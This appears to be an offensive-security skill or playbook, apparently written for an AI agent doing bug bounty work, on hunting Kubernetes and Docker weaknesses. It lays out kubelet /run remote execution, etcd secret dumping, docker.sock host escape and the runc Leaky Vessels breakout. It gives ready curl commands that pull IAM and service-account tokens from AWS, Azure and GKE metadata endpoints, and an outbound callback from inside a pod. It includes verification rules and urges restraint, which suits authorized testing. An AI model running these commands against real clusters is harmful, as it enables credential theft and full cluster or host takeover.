/hunt-k8s

name: hunt-k8s
description: "Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra, exposes K8s ports (6443/10250/10255/2379/8443), or cloud metadata reveals K8s service accounts."
sources: hackerone_public, cve_database, kubernetes_security_research, portswigger_research
report_count: 13

HUNT-K8S — Kubernetes & Docker Security

Crown Jewel Targets

K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `/run` shell pivots one finding to total compromise.

**Highest-value findings:**

• **K8s API anonymous cluster-admin** — `system:anonymous`/`system:unauthenticated` bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section).
• **Kubelet `10250` exec/run** — `/run` returns command output directly; `/exec` is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.
• **API-server-mediated kubelet RCE** — `/api/v1/nodes/<node>/proxy/run/...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes/proxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.
• **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump.
• **docker.sock exposure** — SSRF/LFI/RCE reaching `/var/run/docker.sock` → create `--privileged` container, bind-mount host `/` → host root.
• **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`/`process.cwd` pointing at a leaked `/proc/self/fd/<n>` host FD → break out of an attacker-controlled image/exec to host root.
• **SA token abuse** — auto-mounted token at `/var/run/secrets/kubernetes.io/serviceaccount/token`; check its real grants with SelfSubjectRulesReview before claiming impact.
• **K8s Dashboard skip-login / token-less API** — full cluster management UI reachable unauthenticated.

---

OOB / Confirmation Gate (Read First)

K8s findings are RCE/credential-disclosure class. House rule: **prove state change or data read, never infer from a status code.**

• A `200` on `/api/v1/namespaces` does **not** mean cluster-admin. The API server returns `200` with an RBAC-filtered (often empty `items: []`) list to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview / SelfSubjectAccessReview**, then by actually reading a Secret value.
• **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `/pods`, `/stats`, `/metrics`, NO exec/run. 10250 (HTTPS) is where `/run` and `/exec` live. Do not report "kubelet RCE" off a 10255 hit.
• **Blind/outbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. `curl http://<token>.<collab>` from inside the pod via `/run`). A delayed response or an echoed URL is NOT proof.
• **Impact proof = the artifact.** For exec: the literal `id`/`hostname` output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`/etc/hostname` of the node, distinct from the container's).
• Use a **dedicated test namespace / test pod** when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop.

---

Phase 1 — Fingerprint & Port Discovery

# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open

# API server fingerprint — the /version endpoint is anonymous on most clusters
curl -sk "https://$TARGET:6443/version"        # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl -sk "https://$TARGET:6443/api"             # APIVersions list, even pre-auth
curl -sk "https://$TARGET:6443/healthz"

# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"      # Azure AKS
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE

Note the `gitVersion` — it gates every CVE below.

---

Phase 2 — Kubernetes API Anonymous / Low-Priv Access

SRV="https://$TARGET:6443"

# 1. What am I? (anonymous → "system:anonymous")
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

# 2. What can I actually DO? (the only honest privilege check)
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'

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